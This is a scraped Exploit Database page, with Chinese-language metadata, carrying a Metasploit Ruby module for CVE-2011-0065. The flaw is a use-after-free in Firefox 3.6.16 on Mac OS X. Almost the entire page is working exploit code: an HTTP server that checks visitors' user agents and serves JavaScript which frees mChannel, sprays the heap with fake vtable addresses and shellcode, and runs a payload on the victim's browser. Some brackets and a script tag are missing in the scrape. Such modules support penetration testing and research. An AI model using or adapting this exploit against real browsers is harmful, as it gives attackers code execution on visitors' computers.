Mozilla Firefox 3.6.16 (OSX) – mChannel Use-After-Free (Metasploit) (2)

Exploit Database
109 阅读

作者： Metasploit

日期： 2012-01-17
类别：
- remote
平台：
- osx
来源：https://www.exploit-db.com/exploits/18377/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::FF,

:ua_minver => "3.6.16",

:ua_maxver => "3.6.16",

:os_name => OperatingSystems::MAC_OSX,

:javascript => true,

:rank => NormalRanking,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',

'Description'=> %q{

This module exploits an use after free vulnerability in Mozilla

Firefox 3.6.16. An OBJECT Element mChannel can be freed via the

OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel

becomes a dangling pointer and can be reused when setting the OBJECTs

data attribute. (Discovered by regenrecht). Mac OS X version by argp,

tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.

'License'=> MSF_LICENSE,

'Author' =>

[

'regenrecht', # discovery

'Rh0',# windows metasploit module

'argp <argp[at]census-labs.com>'# mac os x target

'References' =>

[

['CVE','2011-0065'],

['OSVDB','72085'],

['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],

['URL','http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']

'Payload'=>

{

'Space' => 1024,

'Platform' => 'osx',

'Targets'=>

[

'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',

{

'Arch' => ARCH_X86,

'Fakevtable' => 0x2727,

'Fakefunc' => 0x2727001c,

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'May 10 2011'

))

end

def on_request_uri(cli, request)

# Random JavaScript variable names

js_element_name= rand_text_alpha(rand(10) + 5)

js_obj_addr_name = rand_text_alpha(rand(10) + 5)

js_sc_name = rand_text_alpha(rand(10) + 5)

js_ret_addr_name = rand_text_alpha(rand(10) + 5)

js_chunk_name= rand_text_alpha(rand(10) + 5)

js_final_chunk_name= rand_text_alpha(rand(10) + 5)

js_block_name= rand_text_alpha(rand(10) + 5)

js_array_name= rand_text_alpha(rand(10) + 5)

# check for non vulnerable targets

agent = request.headers['User-Agent']

if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/

print_error("Target not supported: #{agent}") if datastore['VERBOSE']

send_not_found(cli)

return

end

# Re-generate the payload

return if ((payload = regenerate_payload(cli).encoded) == nil)

payload_buf= ''

payload_buf << payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

# setup the fake memory references

my_target = targets[0] # in case we add more targets later

fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))

fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

exploit_js = <<-JS

#{js_element_name} = document.getElementById("d");

#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);

#{js_element_name}.onChannelRedirect(null, new Object, 0)

#{js_obj_addr_name} = unescape("\x00#{fakevtable}");

var #{js_sc_name} = unescape("#{escaped_payload}");

var #{js_ret_addr_name} = unescape("#{fakefunc}");

while(#{js_ret_addr_name}.length < 0x120)

{

#{js_ret_addr_name} += #{js_ret_addr_name};

}

var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);

#{js_chunk_name} += #{js_sc_name};

#{js_chunk_name} += #{js_ret_addr_name};

var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);

while(#{js_final_chunk_name}.length < 0x800000)

{

#{js_final_chunk_name} += #{js_final_chunk_name};

}

var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);

#{js_array_name} = new Array()

for(n = 0; n < 0x220; n++)

{

#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};

}

html = <<-HTML

<html>

<body>

#{exploit_js}

</script>

</body>

</html>

HTML

#Remove the extra tabs

html = html.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload

handler(cli)

end